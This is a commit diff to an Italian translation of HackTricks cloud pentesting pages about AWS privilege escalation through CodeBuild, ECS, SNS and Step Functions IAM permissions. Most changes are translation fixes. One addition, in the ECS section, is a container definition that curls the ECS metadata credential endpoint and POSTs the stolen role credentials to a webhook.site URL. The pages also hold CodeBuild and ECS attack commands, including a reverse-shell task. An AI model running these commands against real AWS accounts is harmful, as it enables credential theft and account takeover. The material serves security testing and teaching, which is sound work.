mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 07:25:51 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -61,7 +61,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
**Nota**: La differenza tra questi due comandi è che:
|
||||
|
||||
- `StartBuild` attiva un singolo lavoro di build utilizzando un specifico `buildspec.yml`.
|
||||
- `StartBuildBatch` consente di avviare un batch di build, con configurazioni più complesse (come l'esecuzione di più build in parallelo).
|
||||
- `StartBuildBatch` consente di avviare un batch di build, con configurazioni più complesse (come eseguire più build in parallelo).
|
||||
|
||||
**Impatto Potenziale:** Privesc diretto ai ruoli AWS Codebuild attaccati.
|
||||
|
||||
@@ -178,13 +178,13 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
|
||||
> Questo file contiene la **variabile d'ambiente `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** che contiene il **percorso URL** per accedere alle credenziali. Sarà qualcosa del tipo `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> Aggiungi questo al URL **`http://169.254.170.2/`** e sarai in grado di estrarre le credenziali del ruolo.
|
||||
> Aggiungi questo all'URL **`http://169.254.170.2/`** e sarai in grado di estrarre le credenziali del ruolo.
|
||||
|
||||
> Inoltre, contiene anche la **variabile d'ambiente `ECS_CONTAINER_METADATA_URI`** che contiene l'URL completo per ottenere **informazioni sui metadati del contenitore**.
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Proprio come nella sezione precedente, se invece di creare un progetto di build puoi modificarlo, puoi indicare il Ruolo IAM e rubare il token.
|
||||
Proprio come nella sezione precedente, se invece di creare un progetto di build puoi modificarlo, puoi indicare il ruolo IAM e rubare il token.
|
||||
```bash
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -214,7 +214,7 @@ JSON="{
|
||||
|
||||
printf "$JSON" > $REV_PATH
|
||||
|
||||
aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Ulteriori **info su ECS** in:
|
||||
Maggiore **info su ECS** in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,10 @@ Ulteriori **info su ECS** in:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Un attaccante che abusa del permesso `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova definizione di task** con un **container malevolo** che ruba le credenziali dei metadati e **eseguirlo**.
|
||||
Un attaccante che sfrutta i permessi `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova definizione di task** con un **container malevolo** che ruba le credenziali dei metadati e **eseguirlo**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -32,6 +35,46 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Crea un webhook con un sito come webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
[
|
||||
{
|
||||
"name": "exfil_creds",
|
||||
"image": "python:latest",
|
||||
"entryPoint": ["sh", "-c"],
|
||||
"command": [
|
||||
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
|
||||
]
|
||||
}
|
||||
]
|
||||
|
||||
# Run task definition, uploading the .json file
|
||||
aws ecs register-task-definition \
|
||||
--family iam_exfiltration \
|
||||
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 \
|
||||
--memory 512 \
|
||||
--requires-compatibilities FARGATE \
|
||||
--container-definitions file://container-definition.json
|
||||
|
||||
# Check the webhook for a response
|
||||
|
||||
# Delete task definition
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto Potenziale:** Privesc diretto a un diverso ruolo ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
@@ -97,8 +140,8 @@ aws ecs run-task \
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Questo scenario è simile ai precedenti ma **senza** il permesso **`iam:PassRole`**.\
|
||||
Questo è comunque interessante perché se puoi eseguire un contenitore arbitrario, anche se senza un ruolo, potresti **eseguire un contenitore privilegiato per fuggire** al nodo e **rubare il ruolo IAM EC2** e i **ruoli degli altri contenitori ECS** in esecuzione nel nodo.\
|
||||
Potresti persino **forzare altre attività a essere eseguite all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**sezione Privesc al nodo**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
Questo è comunque interessante perché se puoi eseguire un contenitore arbitrario, anche se senza un ruolo, potresti **eseguire un contenitore privilegiato per evadere** al nodo e **rubare il ruolo IAM EC2** e i **ruoli degli altri contenitori ECS** in esecuzione nel nodo.\
|
||||
Potresti persino **forzare altre attività a essere eseguite all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**sezione Privesc to node**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Questo attacco è possibile solo se il **cluster ECS utilizza istanze EC2** e non Fargate.
|
||||
@@ -145,7 +188,7 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Un attaccante con **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare il ruolo IAM ad esso associato (è necessario avere i permessi di descrizione perché è necessario eseguire `aws ecs execute-command`).\
|
||||
Tuttavia, per fare ciò, l'istanza del container deve eseguire l'**agent ExecuteCommand** (che per impostazione predefinita non è).
|
||||
Tuttavia, per fare ciò, l'istanza del container deve eseguire l'**agent ExecuteCommand** (che per impostazione predefinita non è attivo).
|
||||
|
||||
Pertanto, l'attaccante potrebbe provare a:
|
||||
|
||||
@@ -199,7 +242,7 @@ TODO: È possibile registrare un'istanza da un diverso account AWS in modo che l
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testa questo
|
||||
> TODO: Testare questo
|
||||
|
||||
Un attaccante con i permessi `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` e `ecs:DescribeTaskSets` può **creare un set di attività malevole per un servizio ECS esistente e aggiornare il set di attività primario**. Questo consente all'attaccante di **eseguire codice arbitrario all'interno del servizio**.
|
||||
```bash
|
||||
|
||||
@@ -12,7 +12,7 @@ Per ulteriori informazioni controlla:
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Un attaccante potrebbe inviare messaggi dannosi o indesiderati al topic SNS, causando potenzialmente corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse.
|
||||
Un attaccante potrebbe inviare messaggi dannosi o indesiderati al topic SNS, potenzialmente causando corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
|
||||
### `sns:AddPermission`
|
||||
|
||||
Un attaccante potrebbe concedere a utenti o servizi non autorizzati l'accesso a un argomento SNS, potenzialmente ottenendo ulteriori permessi.
|
||||
Un attaccante potrebbe concedere accesso a utenti o servizi non autorizzati a un argomento SNS, potenzialmente ottenendo ulteriori permessi.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
```
|
||||
|
||||
@@ -10,26 +10,26 @@ Per ulteriori informazioni su questo servizio AWS, controlla:
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Risorse di Task
|
||||
### Risorse delle Attività
|
||||
|
||||
Queste tecniche di escalation dei privilegi richiederanno di utilizzare alcune risorse delle step function AWS per eseguire le azioni di escalation dei privilegi desiderate.
|
||||
Queste tecniche di escalation dei privilegi richiederanno di utilizzare alcune risorse delle funzioni step di AWS per eseguire le azioni di escalation dei privilegi desiderate.
|
||||
|
||||
Per controllare tutte le azioni possibili, puoi andare nel tuo account AWS, selezionare l'azione che desideri utilizzare e vedere i parametri che sta utilizzando, come in:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Oppure puoi anche andare alla documentazione API AWS e controllare la documentazione di ciascuna azione:
|
||||
Oppure puoi anche andare alla documentazione API di AWS e controllare la documentazione di ciascuna azione:
|
||||
|
||||
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
|
||||
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
Un attaccante con i permessi **`states:TestState`** & **`iam:PassRole`** può testare qualsiasi stato e passare qualsiasi ruolo IAM senza creare o aggiornare una macchina a stati esistente, abilitando l'accesso non autorizzato ad altri servizi AWS con i permessi dei ruoli. Potenzialmente. Combinati, questi permessi possono portare a estese azioni non autorizzate, dalla manipolazione dei flussi di lavoro per alterare i dati a violazioni dei dati, manipolazione delle risorse e escalation dei privilegi.
|
||||
Un attaccante con i permessi **`states:TestState`** & **`iam:PassRole`** può testare qualsiasi stato e passare qualsiasi ruolo IAM senza creare o aggiornare una macchina a stati esistente, potenzialmente abilitando l'accesso non autorizzato ad altri servizi AWS con i permessi dei ruoli. Combinati, questi permessi possono portare a estese azioni non autorizzate, dalla manipolazione dei flussi di lavoro per alterare i dati a violazioni dei dati, manipolazione delle risorse e escalation dei privilegi.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
I seguenti esempi mostrano come testare uno stato che crea una chiave di accesso per l'utente **`admin`** sfruttando queste autorizzazioni e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata una policy ad alta privilegio (ad esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che consente allo stato di eseguire l'azione **`iam:CreateAccessKey`**:
|
||||
I seguenti esempi mostrano come testare uno stato che crea una chiave di accesso per l'**`admin`** utente sfruttando queste autorizzazioni e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata una policy ad alta privilegio (ad esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che consente allo stato di eseguire l'azione **`iam:CreateAccessKey`**:
|
||||
|
||||
- **stateDefinition.json**:
|
||||
```json
|
||||
@@ -59,7 +59,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
"status": "SUCCEEDED"
|
||||
}
|
||||
```
|
||||
**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a significative violazioni della sicurezza.
|
||||
**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, che potrebbe portare a significative violazioni della sicurezza.
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
@@ -132,7 +132,7 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Il bucket S3 controllato dall'attaccante dovrebbe avere i permessi per accettare un'azione s3:PutObject dall'account della vittima.
|
||||
> Il bucket S3 controllato dall'attaccante dovrebbe avere permessi per accettare un'azione s3:PutObject dall'account della vittima.
|
||||
|
||||
**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a significative violazioni della sicurezza.
|
||||
|
||||
@@ -181,7 +181,7 @@ I seguenti esempi mostrano come aggiornare una macchina a stati legittima che in
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Macchina a Stato Aggiornato Maligno" }}
|
||||
{{#tab name="Malicious Updated State Machine" }}
|
||||
```json
|
||||
{
|
||||
"Comment": "Hello world from Lambda state machine",
|
||||
|
||||
Reference in New Issue
Block a user